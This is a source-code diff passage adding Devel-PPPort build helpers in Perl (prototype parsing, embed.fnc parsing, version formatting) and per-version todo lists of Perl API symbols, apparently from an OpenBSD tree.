+ @tmp or warn "no matches for regex $p in $file\n";
+ push @prov, do { my %h; grep !$h{$_}++, @tmp };
+ }
+ elsif ($p eq '__UNDEFINED__') {
+ my @tmp = $data{implementation} =~ /^\s*__UNDEFINED__[^\r\n\S]+(\w+)/gm;
+ @tmp or warn "no __UNDEFINED__ macros in $file\n";
+ push @prov, @tmp;
+ }
+ else {
+ push @prov, $p;
+ }
+ }
+
+ for (@prov) {
+ if ($data{implementation} !~ /\b\Q$_\E\b/) {
+ warn "$file claims to provide $_, but doesn't seem to do so\n";
+ next;
+ }
+
+ # scan for prototypes
+ my($proto) = $data{implementation} =~ /
+ ( ^ (?:[\w*]|[^\S\r\n])+
+ [\r\n]*?
+ ^ \b$_\b \s*
+ \( [^{]* \)
+ )
+ \s* \{
+ /xm or next;
+
+ $proto =~ s/^\s+//;
+ $proto =~ s/\s+$//;
+ $proto =~ s/\s+/ /g;
+
+ exists $proto{$_} and warn "$file: duplicate prototype for $_\n";
+ $proto{$_} = $proto;
+ }
+ }
+
+ for $section (qw( implementation xsubs xsinit xsmisc xshead xsboot )) {
+ if (exists $data{$section}) {
+ $data{$section} =~ s/\{\s*version\s*(<|>|==|!=|>=|<=)\s*([\d._]+)\s*\}/expand_version($1, $2)/gei;
+ }
+ }
+
+ $data{provides} = \@prov;
+ $data{prototypes} = \%proto;
+ $data{OPTIONS} = \%options;
+
+ my %prov = map { ($_ => 1) } @prov;
+ my %dontwarn = exists $data{dontwarn} ? map { ($_ => 1) } @{$data{dontwarn}} : ();
+ my @maybeprov = do { my %h;
+ grep {
+ my($nop) = /^Perl_(.*)/;
+ not exists $prov{$_} ||
+ exists $dontwarn{$_} ||
+ /^D_PPP_/ ||
+ (defined $nop && exists $prov{$nop} ) ||
+ (defined $nop && exists $dontwarn{$nop}) ||
+ $h{$_}++;
+ }
+ $data{implementation} =~ /^\s*#\s*define\s+(\w+)/gm };
+
+ if (@maybeprov) {
+ warn "$file seems to provide these macros, but doesn't list them:\n "
+ . join("\n ", @maybeprov) . "\n";
+ }
+
+ return \%data;
+}
+
+sub compare_prototypes
+{
+ my($p1, $p2) = @_;
+ for ($p1, $p2) {
+ s/^\s+//;
+ s/\s+$//;
+ s/\s+/ /g;
+ s/(\w)\s(\W)/$1$2/g;
+ s/(\W)\s(\w)/$1$2/g;
+ }
+ return $p1 cmp $p2;
+}
+
+sub ppcond
+{
+ my $s = shift;
+ my @c;
+ my $p;
+
+ for $p (@$s) {
+ push @c, map "!($_)", @{$p->{pre}};
+ defined $p->{cur} and push @c, "($p->{cur})";
+ }
+
+ join " && ", @c;
+}
+
+sub trim_arg
+{
+ my $in = shift;
+ my $remove = join '|', qw( NN NULLOK VOL );
+
+ $in eq '...' and return ($in);
+
+ local $_ = $in;
+ my $id;
+
+ s/[*()]/ /g;
+ s/\[[^\]]*\]/ /g;
+ s/\b(?:auto|const|extern|inline|register|static|volatile|restrict)\b//g;
+ s/\b(?:$remove)\b//;
+ s/^\s*//; s/\s*$//;
+
+ if( /^\b(?:struct|union|enum)\s+\w+(?:\s+(\w+))?$/ ) {
+ defined $1 and $id = $1;
+ }
+ else {
+ if( s/\b(?:char|double|float|int|long|short|signed|unsigned|void)\b//g ) {
+ /^\s*(\w+)\s*$/ and $id = $1;
+ }
+ else {
+ /^\s*\w+\s+(\w+)\s*$/ and $id = $1;
+ }
+ }
+
+ $_ = $in;
+
+ defined $id and s/\b$id\b//;
+
+ # these don't matter at all
+ s/\b(?:auto|extern|inline|register|static|volatile|restrict)\b//g;
+ s/\b(?:$remove)\b//;
+
+ s/(?=<\*)\s+(?=\*)//g;
+ s/\s*(\*+)\s*/ $1 /g;
+ s/^\s*//; s/\s*$//;
+ s/\s+/ /g;
+
+ return ($_, $id);
+}
+
+sub parse_embed
+{
+ my @files = @_;
+ my @func;
+ my @pps;
+ my $file;
+ local *FILE;
+
+ for $file (@files) {
+ open FILE, $file or die "$file: $!\n";
+ my($line, $l);
+
+ while (defined($line = <FILE>)) {
+ while ($line =~ /\\$/ && defined($l = <FILE>)) {
+ $line =~ s/\\\s*//;
+ $line .= $l;
+ }
+ next if $line =~ /^\s*:/;
+ $line =~ s/^\s+|\s+$//gs;
+ my($dir, $args) = ($line =~ /^\s*#\s*(\w+)(?:\s*(.*?)\s*)?$/);
+ if (defined $dir and defined $args) {
+ for ($dir) {
+ /^ifdef$/ and do { push @pps, { pre => [], cur => "defined($args)" } ; last };
+ /^ifndef$/ and do { push @pps, { pre => [], cur => "!defined($args)" } ; last };
+ /^if$/ and do { push @pps, { pre => [], cur => $args } ; last };
+ /^elif$/ and do { push @{$pps[-1]{pre}}, $pps[-1]{cur}; $pps[-1]{cur} = $args; last };
+ /^else$/ and do { push @{$pps[-1]{pre}}, $pps[-1]{cur}; $pps[-1]{cur} = undef; last };
+ /^endif$/ and do { pop @pps ; last };
+ /^include$/ and last;
+ /^define$/ and last;
+ /^undef$/ and last;
+ warn "unhandled preprocessor directive: $dir\n";
+ }
+ }
+ else {
+ my @e = split /\s*\|\s*/, $line;
+ if( @e >= 3 ) {
+ my($flags, $ret, $name, @args) = @e;
+ if ($name =~ /^[^\W\d]\w*$/) {
+ for (@args) {
+ $_ = [trim_arg($_)];
+ }
+ ($ret) = trim_arg($ret);
+ push @func, {
+ name => $name,
+ flags => { map { $_, 1 } $flags =~ /./g },
+ ret => $ret,
+ args => \@args,
+ cond => ppcond(\@pps),
+ };
+ }
+ elsif ($name =~ /^[^\W\d]\w*-E<gt>[^\W\d]\w*$/) {
+ # silenty ignore entries of the form
+ # PL_parser-E<gt>linestr
+ # which documents a struct entry rather than a function
+ }
+ else {
+ warn "mysterious name [$name] in $file, line $.\n";
+ }
+ }
+ }
+ }
+
+ close FILE;
+ }
+
+ return @func;
+}
+
+sub make_prototype
+{
+ my $f = shift;
+ my @args = map { "@$_" } @{$f->{args}};
+ my $proto;
+ my $pTHX_ = exists $f->{flags}{n} ? "" : "pTHX_ ";
+ $proto = "$f->{ret} $f->{name}" . "($pTHX_" . join(', ', @args) . ')';
+ return $proto;
+}
+
+sub format_version
+{
+ my $ver = shift;
+
+ $ver =~ s/$/000000/;
+ my($r,$v,$s) = $ver =~ /(\d+)\.(\d{3})(\d{3})/;
+
+ $v = int $v;
+ $s = int $s;
+
+ if ($r < 5 || ($r == 5 && $v < 6)) {
+ if ($s % 10) {
+ die "invalid version '$ver'\n";
+ }
+ $s /= 10;
+
+ $ver = sprintf "%d.%03d", $r, $v;
+ $s > 0 and $ver .= sprintf "_%02d", $s;
+
+ return $ver;
+ }
+
+ return sprintf "%d.%d.%d", $r, $v, $s;
+}
+
+sub parse_version
+{
+ my $ver = shift;
+
+ if ($ver =~ /^(\d+)\.(\d+)\.(\d+)$/) {
+ return ($1, $2, $3);
+ }
+ elsif ($ver !~ /^\d+\.[\d_]+$/) {
+ die "cannot parse version '$ver'\n";
+ }
+
+ $ver =~ s/_//g;
+ $ver =~ s/$/000000/;
+
+ my($r,$v,$s) = $ver =~ /(\d+)\.(\d{3})(\d{3})/;
+
+ $v = int $v;
+ $s = int $s;
+
+ if ($r < 5 || ($r == 5 && $v < 6)) {
+ if ($s % 10) {
+ die "cannot parse version '$ver'\n";
+ }
+ $s /= 10;
+ }
+
+ return ($r, $v, $s);
+}
+
+1;
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5003070 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5003070
new file mode 100644
index 00000000000..df2f8476925
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5003070
@@ -0,0 +1,21 @@
+5.003070
+HeHASH # U
+HeKEY # U
+HeKLEN # U
+HeSVKEY # U
+HeSVKEY_force # U
+HeVAL # U
+cv_const_sv # U
+do_open # E (Perl_do_open)
+gv_efullname3 # U
+gv_fullname3 # U
+hv_delete_ent # U
+hv_exists_ent # U
+hv_fetch_ent # U
+hv_iterkeysv # U
+hv_ksplit # U
+hv_store_ent # U
+my_pclose # E (Perl_my_pclose)
+my_popen # E (Perl_my_popen)
+sv_gets # E (Perl_sv_gets)
+unsharepvn # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004000
new file mode 100644
index 00000000000..ec87e88f115
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004000
@@ -0,0 +1,51 @@
+5.004000
+GIMME_V # E
+G_VOID # E
+HePV # A
+HeSVKEY_set # U
+POPu # E
+SvSetMagicSV # U
+SvSetMagicSV_nosteal # U
+SvSetSV_nosteal # U
+SvTAINTED # U
+SvTAINTED_off # U
+SvTAINTED_on # U
+block_end # E (Perl_block_end)
+block_gimme # U
+block_start # E (Perl_block_start)
+call_list # U
+delimcpy # U
+form # U
+gv_autoload4 # U
+gv_fetchmethod_autoload # U
+hv_delayfree_ent # U
+hv_free_ent # U
+ibcmp_locale # U
+intro_my # U
+my_failure_exit # U
+newSVpvf # U
+rsignal # E
+rsignal_state # E
+save_I16 # U
+save_gp # U
+share_hek # E
+start_subparse # E (Perl_start_subparse)
+sv_catpvf # U
+sv_catpvf_mg # U
+sv_cmp_locale # U
+sv_derived_from # U
+sv_magic_portable # U
+sv_setpvf # U
+sv_setpvf_mg # U
+sv_taint # U
+sv_tainted # U
+sv_untaint # U
+sv_vcatpvf # U
+sv_vcatpvf_mg # U
+sv_vcatpvfn # U
+sv_vsetpvf # U
+sv_vsetpvf_mg # U
+sv_vsetpvfn # U
+toLOWER_LC # U
+vnewSVpvf # U
+warner # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004010 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004010
new file mode 100644
index 00000000000..8c298666039
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004010
@@ -0,0 +1 @@
+5.004010
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004020 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004020
new file mode 100644
index 00000000000..4b43fdf8e46
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004020
@@ -0,0 +1 @@
+5.004020
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004030 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004030
new file mode 100644
index 00000000000..e45facbb1f9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004030
@@ -0,0 +1 @@
+5.004030
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004040 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004040
new file mode 100644
index 00000000000..69ccd5d62c5
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004040
@@ -0,0 +1 @@
+5.004040
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004050 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004050
new file mode 100644
index 00000000000..0f7a1f73fe5
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004050
@@ -0,0 +1,7 @@
+5.004050
+CopyD # E
+MoveD # E
+do_binmode # U
+my_bcopy # U
+save_aelem # U
+save_helem # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005000
new file mode 100644
index 00000000000..e27a06dc8f2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005000
@@ -0,0 +1,28 @@
+5.005000
+PL_curpad # E
+PL_modglobal # E
+cx_dump # U
+debop # U
+debprofdump # U
+fbm_compile # E (Perl_fbm_compile)
+fbm_instr # E (Perl_fbm_instr)
+get_op_descs # U
+get_op_names # U
+init_stacks # U
+mg_length # U
+mg_size # U
+newHVhv # U
+new_stackinfo # E
+regdump # U
+regexec_flags # U
+regnext # E (Perl_regnext)
+runops_debug # U
+runops_standard # U
+save_iv # U (save_iv)
+save_op # U
+sv_iv # U
+sv_nv # U
+sv_peek # U
+sv_pvn # U
+sv_pvn_nomg # U
+sv_true # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005010 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005010
new file mode 100644
index 00000000000..deebff5bf8a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005010
@@ -0,0 +1 @@
+5.005010
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005020 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005020
new file mode 100644
index 00000000000..d19ff2ae09e
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005020
@@ -0,0 +1 @@
+5.005020
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005030 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005030
new file mode 100644
index 00000000000..885afa0d233
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005030
@@ -0,0 +1,4 @@
+5.005030
+POPpx # E
+get_vtbl # U
+save_generic_svref # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005040 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005040
new file mode 100644
index 00000000000..8a165c20337
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005040
@@ -0,0 +1 @@
+5.005040
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5006000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5006000
new file mode 100644
index 00000000000..6c0acac231a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5006000
@@ -0,0 +1,150 @@
+5.006000
+DO_UTF8 # U
+PERL_SYS_INIT3 # U
+PL_check # E
+POPul # E
+SvIOK_UV # U
+SvIOK_notUV # U
+SvIOK_only_UV # U
+SvPOK_only_UTF8 # U
+SvPVbyte_nolen # U
+SvPVbytex # U
+SvPVbytex_force # U
+SvPVutf8 # U
+SvPVutf8_force # U
+SvPVutf8_nolen # U
+SvPVutf8x # U
+SvPVutf8x_force # U
+SvUOK # U
+SvUTF8 # U
+SvUTF8_off # U
+SvUTF8_on # U
+UTF8SKIP # U
+av_delete # U
+av_exists # U
+call_atexit # E
+caller_cx # U
+cast_i32 # U (cast_i32)
+cast_iv # U (cast_iv)
+cast_ulong # U
+cast_uv # U (cast_uv)
+do_gv_dump # U
+do_gvgv_dump # U
+do_hv_dump # U
+do_magic_dump # U
+do_op_dump # U
+do_open9 # U
+do_pmop_dump # U
+do_sv_dump # U
+dump_all # U
+dump_eval # U
+dump_form # U
+dump_indent # U
+dump_packsubs # U
+dump_sub # U
+dump_vindent # U
+get_context # U
+get_ppaddr # E
+gv_dump # U
+init_i18nl10n # U (perl_init_i18nl10n)
+init_i18nl14n # U (perl_init_i18nl14n)
+is_uni_alnum # U
+is_uni_alnum_lc # U
+is_uni_alpha # U
+is_uni_alpha_lc # U
+is_uni_ascii # U
+is_uni_ascii_lc # U
+is_uni_cntrl # U
+is_uni_cntrl_lc # U
+is_uni_digit # U
+is_uni_digit_lc # U
+is_uni_graph # U
+is_uni_graph_lc # U
+is_uni_idfirst # U
+is_uni_idfirst_lc # U
+is_uni_lower # U
+is_uni_lower_lc # U
+is_uni_print # U
+is_uni_print_lc # U
+is_uni_punct # U
+is_uni_punct_lc # U
+is_uni_space # U
+is_uni_space_lc # U
+is_uni_upper # U
+is_uni_upper_lc # U
+is_uni_xdigit # U
+is_uni_xdigit_lc # U
+is_utf8_alnum # U
+is_utf8_alpha # U
+is_utf8_ascii # U
+is_utf8_char # U
+is_utf8_cntrl # U
+is_utf8_digit # U
+is_utf8_graph # U
+is_utf8_idfirst # U
+is_utf8_lower # U
+is_utf8_mark # U
+is_utf8_print # U
+is_utf8_punct # U
+is_utf8_space # U
+is_utf8_upper # U
+is_utf8_xdigit # U
+magic_dump # U
+my_atof # U
+my_fflush_all # U
+newANONATTRSUB # U
+newATTRSUB # U
+newXS # E (Perl_newXS)
+newXSproto # E
+new_collate # U (perl_new_collate)
+new_ctype # U (perl_new_ctype)
+new_numeric # U (perl_new_numeric)
+op_dump # U
+perl_parse # E (perl_parse)
+pmop_dump # U
+re_intuit_string # U
+reginitcolors # U
+require_pv # U (perl_require_pv)
+safesyscalloc # U
+safesysfree # U
+safesysmalloc # U
+safesysrealloc # U
+save_I8 # U
+save_alloc # U
+save_destructor # E (Perl_save_destructor)
+save_destructor_x # E
+save_re_context # U
+save_vptr # U
+scan_bin # U
+set_context # U
+set_numeric_local # U (perl_set_numeric_local)
+set_numeric_radix # U
+set_numeric_standard # U (perl_set_numeric_standard)
+str_to_version # U
+sv_2pvutf8 # U
+sv_2pvutf8_nolen # U
+sv_force_normal # U
+sv_len_utf8 # U
+sv_pos_b2u # U
+sv_pos_u2b # U
+sv_pv # U
+sv_pvbyte # U
+sv_pvbyten # U
+sv_pvbyten_force # U
+sv_pvutf8 # U
+sv_pvutf8n # U
+sv_pvutf8n_force # U
+sv_rvweaken # U
+sv_utf8_decode # U
+sv_utf8_downgrade # U
+sv_utf8_encode # U
+swash_init # U
+to_uni_lower_lc # U
+to_uni_title_lc # U
+to_uni_upper_lc # U
+utf8_distance # U
+utf8_hop # U
+vcroak # U
+vform # U
+vwarn # U
+vwarner # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5006001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5006001
new file mode 100644
index 00000000000..3f4ea792ffc
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5006001
@@ -0,0 +1,11 @@
+5.006001
+SvGAMAGIC # U
+apply_attrs_string # U
+bytes_to_utf8 # U
+gv_efullname4 # U
+gv_fullname4 # U
+is_utf8_string # U
+save_generic_pvref # U
+utf16_to_utf8 # E (Perl_utf16_to_utf8)
+utf16_to_utf8_reversed # E (Perl_utf16_to_utf8_reversed)
+utf8_to_bytes # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5006002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5006002
new file mode 100644
index 00000000000..dfe09ce2c59
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5006002
@@ -0,0 +1 @@
+5.006002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5007000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5007000
new file mode 100644
index 00000000000..49d08465db8
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5007000
@@ -0,0 +1 @@
+5.007000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5007001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5007001
new file mode 100644
index 00000000000..cee6dec8451
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5007001
@@ -0,0 +1,23 @@
+5.007001
+ASCII_TO_NEED # U
+NATIVE_TO_NEED # U
+POPpbytex # E
+bytes_from_utf8 # U
+despatch_signals # U
+do_openn # U
+gv_handler # U
+is_lvalue_sub # U
+my_popen_list # U
+save_mortalizesv # U
+scan_num # E (Perl_scan_num)
+sv_force_normal_flags # U
+sv_setref_uv # U
+sv_unref_flags # U
+sv_utf8_upgrade # E (Perl_sv_utf8_upgrade)
+utf8_length # U
+utf8_to_uvchr # U
+utf8_to_uvuni # U
+utf8n_to_uvchr # U
+utf8n_to_uvuni # U
+uvchr_to_utf8 # U
+uvuni_to_utf8 # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5007002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5007002
new file mode 100644
index 00000000000..cb28d72bf3d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5007002
@@ -0,0 +1,17 @@
+5.007002
+calloc # U
+getcwd_sv # U
+init_tm # U
+malloc # U
+mfree # U
+mini_mktime # U
+my_atof2 # U
+my_strftime # U
+op_null # U
+realloc # U
+sv_catpvn_flags # U
+sv_catsv_flags # U
+sv_setsv_flags # U
+sv_utf8_upgrade_flags # U
+sv_utf8_upgrade_nomg # U
+swash_fetch # E (Perl_swash_fetch)
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5007003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5007003
new file mode 100644
index 00000000000..c9e1cea6eb4
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5007003
@@ -0,0 +1,60 @@
+5.007003
+OP_DESC # U
+OP_NAME # U
+PL_peepp # E
+PerlIO_clearerr # U (PerlIO_clearerr)
+PerlIO_close # U (PerlIO_close)
+PerlIO_eof # U (PerlIO_eof)
+PerlIO_error # U (PerlIO_error)
+PerlIO_fileno # U (PerlIO_fileno)
+PerlIO_fill # U (PerlIO_fill)
+PerlIO_flush # U (PerlIO_flush)
+PerlIO_get_base # U (PerlIO_get_base)
+PerlIO_get_bufsiz # U (PerlIO_get_bufsiz)
+PerlIO_get_cnt # U (PerlIO_get_cnt)
+PerlIO_get_ptr # U (PerlIO_get_ptr)
+PerlIO_read # U (PerlIO_read)
+PerlIO_seek # U (PerlIO_seek)
+PerlIO_set_cnt # U (PerlIO_set_cnt)
+PerlIO_set_ptrcnt # U (PerlIO_set_ptrcnt)
+PerlIO_setlinebuf # U (PerlIO_setlinebuf)
+PerlIO_stderr # U (PerlIO_stderr)
+PerlIO_stdin # U (PerlIO_stdin)
+PerlIO_stdout # U (PerlIO_stdout)
+PerlIO_tell # U (PerlIO_tell)
+PerlIO_unread # U (PerlIO_unread)
+PerlIO_write # U (PerlIO_write)
+SvLOCK # U
+SvSHARE # U
+SvUNLOCK # U
+atfork_lock # U
+atfork_unlock # U
+custom_op_desc # U
+custom_op_name # U
+deb # U
+debstack # U
+debstackptrs # U
+gv_fetchmeth_autoload # U
+ibcmp_utf8 # U
+my_fork # U
+my_socketpair # U
+pack_cat # U
+perl_destruct # E (perl_destruct)
+pv_uni_display # U
+save_shared_pvref # U
+savesharedpv # U
+sortsv # U
+sv_magicext # U
+sv_nolocking # U
+sv_nosharing # U
+sv_recode_to_utf8 # U
+sv_uni_display # U
+to_uni_fold # U
+to_uni_lower # E (Perl_to_uni_lower)
+to_uni_title # E (Perl_to_uni_title)
+to_uni_upper # E (Perl_to_uni_upper)
+to_utf8_case # U
+unpack_str # U
+uvchr_to_utf8_flags # U
+uvuni_to_utf8_flags # U
+vdeb # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008000
new file mode 100644
index 00000000000..3a4d23ec74d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008000
@@ -0,0 +1,6 @@
+5.008000
+HeUTF8 # U
+hv_iternext_flags # U
+hv_store_flags # U
+is_utf8_idcont # U
+nothreadhook # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008001
new file mode 100644
index 00000000000..adb1eb327cb
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008001
@@ -0,0 +1,18 @@
+5.008001
+CvPADLIST # E
+PL_comppad # E
+SvVOK # U
+doing_taint # U
+find_runcv # U
+is_utf8_string_loc # U
+packlist # U
+pad_add_anon # U
+pad_new # E
+pad_tidy # E
+save_bool # U
+savestack_grow_cnt # U
+seed # U
+sv_cat_decode # U
+sv_setpviv # U
+sv_setpviv_mg # U
+unpackstring # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008002
new file mode 100644
index 00000000000..63aac525fed
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008002
@@ -0,0 +1 @@
+5.008002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008003
new file mode 100644
index 00000000000..50c6ce1aa14
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008003
@@ -0,0 +1,3 @@
+5.008003
+SvIsCOW # U
+SvIsCOW_shared_hash # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008004
new file mode 100644
index 00000000000..bb7bcdf66ac
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008004
@@ -0,0 +1 @@
+5.008004
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008005
new file mode 100644
index 00000000000..7bd2029f4b3
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008005
@@ -0,0 +1 @@
+5.008005
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008006
new file mode 100644
index 00000000000..ba5cad07ed0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008006
@@ -0,0 +1 @@
+5.008006
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008007
new file mode 100644
index 00000000000..7d656f0b9e2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008007
@@ -0,0 +1 @@
+5.008007
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008008
new file mode 100644
index 00000000000..f17b19ff4b2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008008
@@ -0,0 +1 @@
+5.008008
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008009
new file mode 100644
index 00000000000..129e018f45f
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008009
@@ -0,0 +1 @@
+5.008009
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009000
new file mode 100644
index 00000000000..28bc85958ec
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009000
@@ -0,0 +1,6 @@
+5.009000
+new_version # U
+save_set_svflags # U
+vcmp # U
+vnumify # U
+vstringify # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009001
new file mode 100644
index 00000000000..26d2c4c5487
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009001
@@ -0,0 +1,6 @@
+5.009001
+hv_clear_placeholders # U
+hv_scalar # U
+scan_version # E (Perl_scan_version)
+sv_2iv_flags # U
+sv_2uv_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009002
new file mode 100644
index 00000000000..5678492aef9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009002
@@ -0,0 +1,7 @@
+5.009002
+SvPVbyte_force # U
+find_rundefsvoffset # U
+op_refcnt_lock # U
+op_refcnt_unlock # U
+savesvpv # U
+vnormal # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009003
new file mode 100644
index 00000000000..5b9c10ab551
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009003
@@ -0,0 +1,23 @@
+5.009003
+av_arylen_p # U
+ckwarn # U
+ckwarn_d # U
+csighandler # E (Perl_csighandler)
+dMULTICALL # E
+doref # U
+gv_const_sv # U
+hv_eiter_p # U
+hv_eiter_set # U
+hv_name_set # U
+hv_placeholders_get # U
+hv_placeholders_set # U
+hv_riter_p # U
+hv_riter_set # U
+is_utf8_string_loclen # U
+newGIVENOP # U
+newSVhek # U
+newWHENOP # U
+pad_compname_type # U
+savepvs # U
+sortsv_flags # U
+vverify # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009004
new file mode 100644
index 00000000000..6295708cd65
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009004
@@ -0,0 +1,9 @@
+5.009004
+PerlIO_context_layers # U
+gv_name_set # U
+hv_copy_hints_hv # U
+my_vsnprintf # U
+newXS_flags # U
+regclass_swash # E (Perl_regclass_swash)
+sv_does # U
+sv_usepvn_flags # U
